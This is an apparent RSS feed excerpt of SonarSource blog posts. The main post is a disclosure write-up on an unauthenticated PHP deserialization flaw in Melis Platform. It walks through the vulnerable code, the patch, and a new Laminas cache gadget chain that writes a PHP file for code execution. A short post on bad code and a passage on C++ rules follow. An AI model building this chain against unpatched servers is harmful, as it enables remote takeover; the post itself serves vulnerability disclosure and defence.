isPermaLink="false">a23a832a-2183-58af-a0d1-eb7a78392749</guid><dc:creator><![CDATA[Karim El Ouerghemmi, Thomas Chauchefoin]]></dc:creator><pubDate>Tue, 18 Oct 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;As part of our goal to continuously improve the static analysis engines powering our &lt;a href=&quot;https://www.sonarsource.com/solutions/clean-code/&quot;&gt;clean code solution&lt;/a&gt;, we scan many open-source projects. In this case, a scan yielded three critical findings (&lt;a href=&quot;https://github.com/melisplatform/melis-asset-manager/security/advisories/GHSA-7fj2-rrq6-rphq&quot;&gt;CVE-2022-39296&lt;/a&gt;, &lt;a href=&quot;https://github.com/melisplatform/melis-cms/security/advisories/GHSA-m3m3-6gww-7gj9&quot;&gt;CVE-2022-39297&lt;/a&gt;, and &lt;a href=&quot;https://github.com/melisplatform/melis-front/security/advisories/GHSA-h479-2mv4-5c26&quot;&gt;CVE-2022-39298&lt;/a&gt;) in a software called Melis Platform. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Melis Platform is an open-source suite with business-oriented features, like an e-commerce component, a CMS, etc. One of its strengths is the support of multiple frameworks to ease the development of custom functionality. Itself, Melis Platform is based on the PHP framework Laminas—an open-source fork of the Zend Framework. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In this publication, we describe how our SAST engine detected a critical deserialization vulnerability in Melis Platform thanks to its extensive support of popular PHP frameworks. This issue exists since Melis 2.2.0, released roughly 5 years ago, up to and including 5.0.0, and was patched in Melis 5.0.1.  &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In the second part of this blog post, we describe how we could confirm its exploitability before reporting it to the project&amp;#x27;s maintainers.&lt;/p&gt;&lt;h2&gt;Analyzing Laminas-based projects with our SAST engine&lt;/h2&gt;&lt;p&gt;In this section, we will see why it is important for a SAST analyzer to have framework-specific knowledge when scanning for vulnerabilities in modern applications. We will do so by looking at our analysis of Melis which is based on Laminas, a popular PHP framework formally known as Zend.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Under the hood, the Sonar AppSec team is responsible for configuring the SAST engine. By defining data sources, dangerous methods (&amp;quot;sinks&amp;quot;), and validation functions (&amp;quot;sanitizers&amp;quot;) for each framework, the engine becomes able to perform a comprehensive taint analysis on such projects. This configuration is then validated against synthetic test cases, as well as real-world code bases like Melis Platform.&lt;/p&gt;&lt;h3&gt;Object Injection Vulnerability&lt;/h3&gt;&lt;p&gt;During the automated analysis of this project, our SAST engine pointed out an &lt;a href=&quot;https://rules.sonarsource.com/php/type/Vulnerability/RSPEC-5135&quot;&gt;Object Injection vulnerability&lt;/a&gt;. You can see what it looks like directly &lt;a href=&quot;https://sonarcloud.io/project/issues?resolved=false&amp;types=VULNERABILITY&amp;id=SonarSourceResearch_melisplatform-blogpost&amp;open=AYPmnZsKaFe_ACNVG-cP&quot;&gt;in the new SonarCloud interface&lt;/a&gt;:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/59356396-0903-4f47-8f8a-373040b77eaf/body-eaf5be04-82a2-41f8-8380-2f0a71f84a80_Screenshot%2B2022-10-17%2Bat%2B17.48.38.png&quot; /&gt;&lt;p&gt;Let’s have a look at the flow of data as it was reported; it all starts with &lt;code&gt;MelisPluginRendererController&lt;/code&gt;:&lt;/p&gt;&lt;p&gt;&lt;strong&gt;melis-front/src/Controller/MelisPluginRendererController.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;class MelisPluginRendererController extends MelisAbstractActionController
{
  public function getPluginAction()
  { 
      // [...]
      $post = $this-&gt;getRequest()-&gt;getPost()-&gt;toArray();     // [1]
      $pluginHardcodedConfig = array();
      if (!empty($post[&apos;pluginHardcodedConfig&apos;]))
      {
          $pluginHardcodedConfig = $post[&apos;pluginHardcodedConfig&apos;]; // [2]
          $pluginHardcodedConfig = html_entity_decode($pluginHardcodedConfig, ENT_QUOTES);
          $pluginHardcodedConfig = html_entity_decode($pluginHardcodedConfig, ENT_QUOTES);
          $pluginHardcodedConfig = unserialize($pluginHardcodedConfig); // [3]&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This code can be reached without any prior authentication.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The flow starts at &lt;code&gt;$this-&amp;gt;getRequest()-&amp;gt;getPost()-&amp;gt;toArray()&lt;/code&gt;, at [1]. For identifying this as a source of potentially malicious content, the built-in knowledge about the Laminas framework in our SAST engine comes in handy as the method &lt;code&gt;getRequest()&lt;/code&gt; is not defined in the source code being scanned. The class &lt;code&gt;MelisPluginRendererController&lt;/code&gt; extends &lt;code&gt;MelisAbstractActionController&lt;/code&gt; which itself extends &lt;code&gt;Laminas\Mvc\Controller\AbstractActionController&lt;/code&gt;. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;From this point, it can be deduced that the method being called is in fact Laminas’ &lt;code&gt;Laminas\Mvc\Controller::getRequest()&lt;/code&gt; which returns a &lt;code&gt;Laminas\Http\Request&lt;/code&gt; object. The call chain &lt;code&gt;getPost()-&amp;gt;toArray()&lt;/code&gt; on that object is well understood by our analyzer to return an array basically representing PHP’s superglobal &lt;code&gt;$_POST&lt;/code&gt; which is user-controlled, and hence potentially malicious. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;An element of the user-controlled array is retrieved [2], and, after decoding, is used in the call to PHP’s &lt;code&gt;unserialize()&lt;/code&gt; function [3]. Calling this function with user input that is neither sanitized nor validated is &lt;a href=&quot;https://owasp.org/www-community/vulnerabilities/PHP_Object_Injection&quot;&gt;known to lead to serious vulnerabilities&lt;/a&gt;.   &lt;/p&gt;&lt;h3&gt;Patch&lt;/h3&gt;&lt;p&gt;Maintainers chose to fix this issue by restricting the classes that can be deserialized: by setting the parameter &lt;code&gt;$allowed_classes&lt;/code&gt; of &lt;code&gt;unserialize()&lt;/code&gt; to false, this function is now only able to deserialize simple types, i.e. strings, arrays, and numbers. SonarCloud is able to detect this change and won&amp;#x27;t raise an issue once this parameter is set to a restrictive value, such as false. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To exploit this class of vulnerabilities in PHP, it is required to craft something called a &amp;quot;popchain&amp;quot; based on available classes in the context of the impacted applications. In this case, there was no publicly documented popchain and our vulnerability research team had to come up with a new one. Indeed, before reporting this vulnerability to the project&amp;#x27;s maintainers, we needed to make sure it&amp;#x27;s exploitable.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Let&amp;#x27;s see how we did it!&lt;/p&gt;&lt;h2&gt;Crafting a popchain for the Laminas framework&lt;/h2&gt;&lt;h3&gt;Popchains?&lt;/h3&gt;&lt;p&gt;This concept was first introduced by Stefan Esser in 2009 in his talk &lt;a href=&quot;https://infocon.org/cons/SyScan/SyScan%202010%20Taipei/SyScan%202010%20Taipai%20presentations/Stefan%20Esser%20-UtilizingCodeReuseOrReturnOrientedProgrammingInPHPApplicationExploits.pdf&quot;&gt;Utilizing Code Reuse/ROP in PHP Application Exploits&lt;/a&gt;. You can also find a more academic approach to this topic in a paper written by our very own Head of R&amp;amp;D, Johannes Dahse: &lt;a href=&quot;https://dl.acm.org/doi/10.1145/2660267.2660363&quot;&gt;&lt;em&gt;Code Reuse Attacks in PHP: Automated POP Chain Generation&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This technique is based on the fact that the execution flow of the program deserializing PHP objects can be affected by the instances being created. After filling out all the serialized properties of the new instance, this process automatically calls the method &lt;code&gt;__wakeup()&lt;/code&gt; of this instance. When the class instance goes out of scope or at the end of the request, its destructor (&lt;code&gt;__destruct()&lt;/code&gt;) is called. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As a result, attackers can try to identify a series of calls starting from one of these methods that could lead to a dangerous action: writing a file to an arbitrary location, executing a command, etc. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This chain of classes can be made of either:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Direct calls, for instance, &lt;code&gt;$instance-&amp;gt;method()&lt;/code&gt;;&lt;/li&gt;&lt;li&gt;Indirect calls, with other magic methods or methods of interfaces if the instance is used in such a way. For instance, iterating over a class implementing Iterator automatically calls methods like &lt;code&gt;rewind()&lt;/code&gt;, &lt;code&gt;valid()&lt;/code&gt;, etc.&lt;/li&gt;&lt;/ul&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/a46a0ca0-2aa9-4064-afe3-442e67eea8d9/body-c1763b3c-b99b-4b59-96a6-214b8e28fa0d_popchain_1.png&quot; /&gt;&lt;p&gt;Such gadget chains have to be created on a case-by-case basis, based on classes available to PHP at the time of the deserialization and to autoloaders. It is not possible to declare a new class during this process. To the best of our knowledge, there aren&amp;#x27;t any public generic chains that would rely solely on built-in classes. Memory corruption vulnerabilities in the deserialization parser and built-in classes were found to be exploitable in the past, but won&amp;#x27;t be discussed further in this article.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;You can already understand that exploiting such vulnerabilities can be very tedious if we have to create new chains from scratch every time. Charles Fol, a security engineer working for Ambionics, created the tool &lt;a href=&quot;https://github.com/ambionics/phpggc&quot;&gt;PHPGGC&lt;/a&gt; to help others on this task, by collecting existing gadgets for popular targets and frameworks. This tool happens to list a chain for Laminas!&lt;/p&gt;&lt;h3&gt;Prior work on Laminas&lt;/h3&gt;&lt;p&gt;A chain leading to the deletion of an arbitrary file was added to PHPGGC by &lt;a href=&quot;https://twitter.com/MrTuxracer&quot;&gt;@MrTuxracer&lt;/a&gt;, and happens to be a perfect example to demonstrate what a simple chain can look like; let&amp;#x27;s break it down. Its code can be found in &lt;a href=&quot;https://github.com/ambionics/phpggc/tree/master/gadgetchains/Laminas/FD/1&quot;&gt;gadgetchains/Laminas/FD/1&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;It all starts with &lt;code&gt;unserialize()&lt;/code&gt; creating a new instance of the class &lt;code&gt;Laminas\Http\Response\Stream&lt;/code&gt;. During the deserialization process, PHP looks for any implementation of the methods &lt;code&gt;__unserialize()&lt;/code&gt; or &lt;code&gt;__wakeup()&lt;/code&gt; and executes them. There isn&amp;#x27;t any in this case, and the script continues.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;However, when the PHP interpreter decides to clean this instance from memory, the destructor is called and it happens to call &lt;code&gt;unlink()&lt;/code&gt; on a property we could set during the deserialization process:&lt;/p&gt;&lt;p&gt;&lt;strong&gt;laminas-http/src/Response/Stream.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;?php
 
namespace Laminas\Http\Response;
 
// [...]
class Stream extends Response
{
   // [...]
   protected $streamName;
 
   public function __destruct()
   {
       // [...]
       if ($this-&gt;cleanup &amp;&amp; is_string($this-&gt;streamName) &amp;&amp; file_exists($this-&gt;streamName)) {
           ErrorHandler::start(E_WARNING);
           unlink($this-&gt;streamName);
           ErrorHandler::stop();
       }
   }
}&lt;/code&gt;&lt;/pre&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/09d7f514-63d8-4944-a047-3b4bfd0e07d0/body-094f3e0a-b33b-4d7c-a0ab-d9d420d8b6b5_popchain_2.png&quot; /&gt;&lt;p&gt;Advanced readers can also note the existence of a way to drop references to the newly created instance during the deserialization process; it becomes handy if anything prevents the destructor from being called (e.g. an exception is raised after the call to &lt;code&gt;unserialize()&lt;/code&gt;). This option is already supported by PHPGGC with its &lt;code&gt;--fast-destruct&lt;/code&gt; argument. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Deleting files is already a strong primitive: we could probably force the reinstallation of the application, but this is a destructive operation. Is there a way to craft our own chain to take control of the vulnerable instance, as real attackers would do?&lt;/p&gt;&lt;h3&gt;Finding a new gadget chain for Laminas&lt;/h3&gt;&lt;p&gt;It&amp;#x27;s not the first time that we had to craft a new gadget chain to achieve our goals on an application blindly unserializing untrusted data. This experience taught us that cache systems are often good targets. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;By nature, these components are designed in a way to be loosely coupled with the rest of the application (e.g. automatically trigger save at the end of the lifecycle of the request by using destructors) and support a broad range of storage backends, including filesystems. It can also be assumed that gaining the ability to control what&amp;#x27;s stored in the cache can be abused later upon its retrieval, this data is always considered to be trusted; more on that later. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The affected application lists &lt;a href=&quot;https://github.com/laminas/laminas-cache&quot;&gt;&lt;code&gt;laminas/laminas-cache&lt;/code&gt;&lt;/a&gt; as a dependency, which in turn requires the supported storage backends: &lt;code&gt;apcu&lt;/code&gt;, &lt;code&gt;blackhole&lt;/code&gt;, &lt;code&gt;mongodb&lt;/code&gt;, &lt;code&gt;filesystem&lt;/code&gt;, &lt;code&gt;memcached&lt;/code&gt;, &lt;code&gt;memory&lt;/code&gt;, &lt;code&gt;redis&lt;/code&gt;, and &lt;code&gt;session&lt;/code&gt;. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;After looking at various classes of the high-level cache implementation, one caught our eye because of its destructor indicating that its role is to &amp;quot;save [...] deferred items that have not been committed&amp;quot;:&lt;/p&gt;&lt;p&gt;&lt;strong&gt;laminas-cache/src/Psr/CacheItemPool/CacheItemPoolDecorator.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;?php

namespace Laminas\Cache\Psr\CacheItemPool;

# [...]
class CacheItemPoolDecorator implements CacheItemPoolInterface
{
   /**
    * Destructor.
    *
    * Saves any deferred items that have not been committed
    */
   public function __destruct()
   {
       $this-&gt;commit();
   }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;That means that somehow, there may be a way to use this class to save new items in the cache. Going deeper in this code path, we can notice how all values of &lt;code&gt;$this-&amp;gt;deferred&lt;/code&gt; are handed out to the storage backend to save them in a persistent way:&lt;/p&gt;&lt;p&gt;&lt;strong&gt;src/Psr/CacheItemPool/CacheItemPoolDecorator.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;public function commit()
{
   // [...]
   foreach ($this-&gt;deferred as &amp;$item) {
       if (! $this-&gt;save($item)) {
           $notSaved[] = $item;
       }
   }
   // [...]
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;src/Psr/CacheItemPool/CacheItemPoolDecorator.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;public function save(CacheItemInterface $item)
{
   // [...]
   try {
       // get item value and serialize, if required
       $value = $item-&gt;get();
 
       // reset TTL on adapter, if required
       if ($itemTtl &gt; 0) {
           $options-&gt;setTtl($itemTtl);
       }
 
       $saved = $this-&gt;storage-&gt;setItem($item-&gt;getKey(), $value);
       // saved items are a hit? see integration test CachePoolTest::testIsHit()
       $item-&gt;setIsHit($saved);
   // [...]
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Good thing that we have this filesystem storage backend available! Because we have control over all the variables of the deserialized classes, we can point the filesystem storage to any file on the local disk and write arbitrary data to it. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Such a primitive is very powerful in the PHP world, as we only have to create a file with the extension &lt;code&gt;.php&lt;/code&gt; in the root folder, and any leading data before the first occurrence of &lt;code&gt;&amp;lt;?php&lt;/code&gt; is going to be ignored by the interpreter. That way, we can create a PHP script on the disk and reach it directly to execute its contents. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The visualization below summarizes the overall class structure that needs to be put in the popchain for everything to work:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/37e72aa1-d284-4bf3-bfc4-a0cb14bda52b/body-d8cbb1d2-b922-48cc-9af5-4413c40f24be_popchain_3.png&quot; /&gt;&lt;p&gt;After calling the destructor of the &lt;code&gt;CacheItemPoolDecorator&lt;/code&gt; instance, the following method invocations happen (we filtered out the calls that are not important, but a lot of things are going to happen):&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/486f2f5c-1672-404b-8347-2dcab239820e/body-895fe3ab-c84a-41fc-8e67-0dfeb35078db_popchain_4.png&quot; /&gt;&lt;p&gt;We tested this chain, successfully gained code execution on our test instance, and published it to PHPGGC. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If you enjoyed reading this section, don&amp;#x27;t hesitate to peek at one of our previous publications about a complex chain that was crafted for Drupal during the CTF of Insomni&amp;#x27;hack 2019: &lt;a href=&quot;https://blog.sonarsource.com/complex-drupal-pop-chain/&quot;&gt;CTF Writeup: Complex Drupal POP Chain&lt;/a&gt;. And yes, it&amp;#x27;s also targeting the cache layer!&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-06-08&lt;/td&gt;&lt;td&gt;We report all issues to the official contact address with patches and a 90-day disclosure policy.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-09-23&lt;/td&gt;&lt;td&gt;The issue is acknowledged by the vendor.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-09-23&lt;/td&gt;&lt;td&gt;A new version of the affected components is released. CVE-2022-39296, CVE-2022-39297, and CVE-2022-39298 are assigned to our findings.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;In this article, we presented how our SAST engine is able to detect critical vulnerabilities in real-world projects thanks to our careful support of most frameworks on the market. We also described how attackers would be able to use the deserialization process to impact the underlying server. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We would like to thank Melis Platform for their patches. Melis users are urged to upgrade their instances to 5.0.1 and above to benefit from these patches.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If you loved what you&amp;#x27;ve just read, and want to help us bring our static analysis technology to the next level, don&amp;#x27;t hesitate to look at our open security engineering positions: &lt;a href=&quot;https://jobs.lever.co/sonarsource/4f9dbd7e-a5ee-4858-b526-56b2c671f9c4&quot;&gt;AppSec Researcher&lt;/a&gt;, &lt;a href=&quot;https://jobs.lever.co/sonarsource/06ddcdf2-c99f-4672-aa86-4fc0b58625ae&quot;&gt;Vulnerability Researcher&lt;/a&gt;, &lt;a href=&quot;https://jobs.lever.co/sonarsource/869c6386-4f66-479b-932f-db5019f8c14a&quot;&gt;Static Analysis Scientist&lt;/a&gt;. Many more are to be found on &lt;a href=&quot;https://jobs.lever.co/sonarsource&quot;&gt;our careers page&lt;/a&gt;!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Bad code costs more than just your money]]></title><description><![CDATA[Bad code doesn’t just disappear and the consequences of overlooking it can be costly. ]]></description><link>https://www.sonarsource.com/blog/bad-code-costs-more-than-just-your-money</link><guid isPermaLink="false">a2e3ed15-76d5-5087-9409-69b8a949bfb2</guid><dc:creator><![CDATA[Liz Ryan]]></dc:creator><pubDate>Thu, 13 Oct 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Have you ever taken a shortcut to get fast results? &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;While we&amp;#x27;d like to think that everyone takes the time to do things manually, the reality is that people leverage tools and experience to help achieve optimal results. But this approach isn&amp;#x27;t perfect, and sometimes things slip through the cracks. When meeting a crucial deadline, overlooking a few minor issues in favor of timely results can seem worth any risks you might take. But if you cut corners every time, the things you ignore start to pile up.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/742c1642-f83e-4a5c-b097-a5f789450025/Cost%20Of%20BadCode_Infographic_Sized%20for%20Blog%402x.jpg&quot; /&gt;&lt;p&gt;Finding tools and building knowledge to streamline activity are priorities in the tech world. The fast pace and high expectations pressure development teams to deliver even as issues build across the codebase. With each sprint, your teams face real-time issues, plus those from past projects returning to haunt them. Bad code doesn&amp;#x27;t just disappear on its own; if you ignore it for too long, it can cost you more than just money.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Bad code has costly consequences, but clean code practices can help. Learn more about how you can get started with &lt;a href=&quot;https://www.sonarsource.com/solutions/power-of-clean-code/&quot;&gt;clean code&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[The Rules of Three, Five and Zero]]></title><description><![CDATA[The Rule of Three was coined back in 1991. That expanded to the Rule of Five with C++11's move semantics - and even that was then subsumed by The Rule of Zero. But what are all these rules? And do we have to follow them?]]></description><link>https://www.sonarsource.com/blog/the-rules-of-three-five-and-zero</link><guid isPermaLink="false">a3f1c03a-9274-5592-888c-ecfcec63bf62</guid><dc:creator><![CDATA[Phil Nash]]></dc:creator><pubDate>Tue, 11 Oct 2022 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;What are the Rules of Three, Five and Zero in C++?&lt;/h1&gt;&lt;p&gt;This post introduces the Rules of Three, Five and Zero and explain which one you should be using and when. A &lt;a href=&quot;https://www.sonarsource.com/blog/beyond-the-rules-of-three-five-and-zero/&quot;&gt;follow-up post&lt;/a&gt; will dive a bit deeper beyond into implementing the Rule of Five for different cases.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Now, C++ has long been famed for its principle of RAII (Resource Acquisition Is Initialization). &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The term relates to the ability to manage resources, such as memory, through the five &lt;em&gt;special member functions&lt;/em&gt;: the copy and move constructors, destructors and assignment operators. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Often, when RAII is mentioned it is in reference to destructors being deterministically invoked at the end of a scope. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;A little ironic, given the already awkward name. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;But the rest of RAII’s superpowers are equally important. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;While many languages just distinguish between “value types” and “reference types” (e.g. C# defines value types in structs and reference types in classes), C++ gives us a much richer canvas for dealing with identity and resources through this set of special member functions.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;But even before C++11, this flexibility came at a cost in terms of complexity. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Some of the interactions are subtle and easy to get wrong. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;So back as far as 1991,&lt;a href=&quot;http://www.ddj.com/cpp/184401400&quot;&gt; Marshall Cline coined “The Rule of Three”&lt;/a&gt;, a simple rule of thumb that covered most cases. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When C++11 introduced move semantics this was upgraded to “The Rule of Five”. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Then &lt;a href=&quot;https://web.archive.org/web/20130211035910/http://flamingdangerzone.com/cxx11/2012/08/15/rule-of-zero.html&quot;&gt;R. Martinho Fernandes coined “The Rule of Zero”&lt;/a&gt; suggesting that it trumps The Rule of Five as a default. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;But what are all these rules? And do we have to follow them?&lt;/p&gt;&lt;h2&gt;The Rule of Three in C++ becomes The Rule of Five&lt;/h2&gt;&lt;p&gt;The Rule of Three suggests that if you need to define any of a copy constructor, copy assignment operator or destructor then you would usually need to define “all three”. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;I put “all three” in quotes, there, because that advice is outdated as of C++11. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Now, with move semantics, there are two additional special member functions: the move constructor and move assignment operator. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;So the Rule of Five is just an expansion that suggests that &lt;strong&gt;if you need to define &lt;em&gt;any&lt;/em&gt; of the five, then you probably need to define or delete (or at least consider) &lt;em&gt;all&lt;/em&gt; &lt;em&gt;five&lt;/em&gt;&lt;/strong&gt;. &lt;br/&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;(This statement is not as strong as in the Rule of Three because if you do not define move operations then they will not be generated – and calls will fall back to copy operations. This would not be incorrect – but perhaps a missed opportunity to optimize.)&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Unless you are compiling for strictly earlier than C++11, you should be following the Rule of Five.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Either way this makes sense. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If you need to define a custom special member function (other than a default constructor) then it is usually because you are managing some resource. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In that case, you will need to consider what happens to it at each stage of its lifetime. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Note that there are various reasons that default implementations of special member functions may be suppressed or deleted, which we will look at more in the second article.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Here’s an example, loosely inspired by &lt;code&gt;indirect_value&lt;/code&gt; from &lt;a href=&quot;https://www.open-std.org/jtc1/sc22/wg21/docs/papers/2020/p1950r1.html&quot;&gt;P1950&lt;/a&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;template&lt;typename T&gt;
class IndirectValue {
   T* ptr;
public:

   // Init &amp; destroy
   explicit IndirectValue(T* ptr ) : ptr(ptr) {}
   ~IndirectValue() noexcept { if(ptr) delete ptr; }

   // Copy (along with the destructor, gives us the Rule of Three)
   IndirectValue(IndirectValue const&amp; other) : ptr(other.ptr ? new T(*other.ptr) : nullptr) {}

   IndirectValue&amp; operator=(IndirectValue const&amp; other) {
       IndirectValue temp(other);
       std::swap(ptr, temp.ptr);
       return *this;
   }

   // Move (Adding these gives us the Rule of Five)
   IndirectValue(IndirectValue&amp;&amp; other) noexcept : ptr(other.ptr) {
       other.ptr = nullptr;
   }
   IndirectValue&amp; operator=(IndirectValue&amp;&amp; other) noexcept {
       IndirectValue temp(std::move(other));
       std::swap(ptr, temp.ptr);
       return *this;
   }

   // Other methods
};&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Notice that we used the &lt;a href=&quot;https://en.wikibooks.org/wiki/More_C%2B%2B_Idioms/Copy-and-swap&quot;&gt;copy-and-swap (and move-and-swap) idiom(s)&lt;/a&gt; to implement the assignment operators to prevent leaks and automatically handle self-assignment (we could also combine the two operators into one that takes its argument by value, but I wanted to show both functions in this example).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;br/&gt;Now both rules start with, “if you need to define any of …”. Sometimes the negative space is interesting. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The implicit side to these rules is that there are useful cases where you do not need to define any of the special member functions and things will work as expected. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;It turns out that this may be the most important case, but to see why, we need a little reframing. Enter the Rule of Zero.&lt;/p&gt;&lt;h2&gt;The Rule of Zero&lt;/h2&gt;&lt;p&gt;If no special member functions are user-defined then (subject to member variables) the compiler provides default implementations for all of them. &lt;strong&gt;The Rule of Zero is simply that you should &lt;em&gt;prefer&lt;/em&gt; the case where &lt;em&gt;no&lt;/em&gt; special member functions &lt;em&gt;need&lt;/em&gt; to be defined&lt;/strong&gt;. This divides into two cases:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Your class defines a pure value type and any state it has consists of pure value types (e.g. primitives).&lt;/li&gt;&lt;li&gt;Any resources maintained as part of your class’ state are managed by classes that are specialized for resource management (e.g. smart pointers, file objects, etc).&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The second case deserves a little more explanation. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Another formulation is that any given class should directly manage, &lt;em&gt;at most&lt;/em&gt;, one resource. 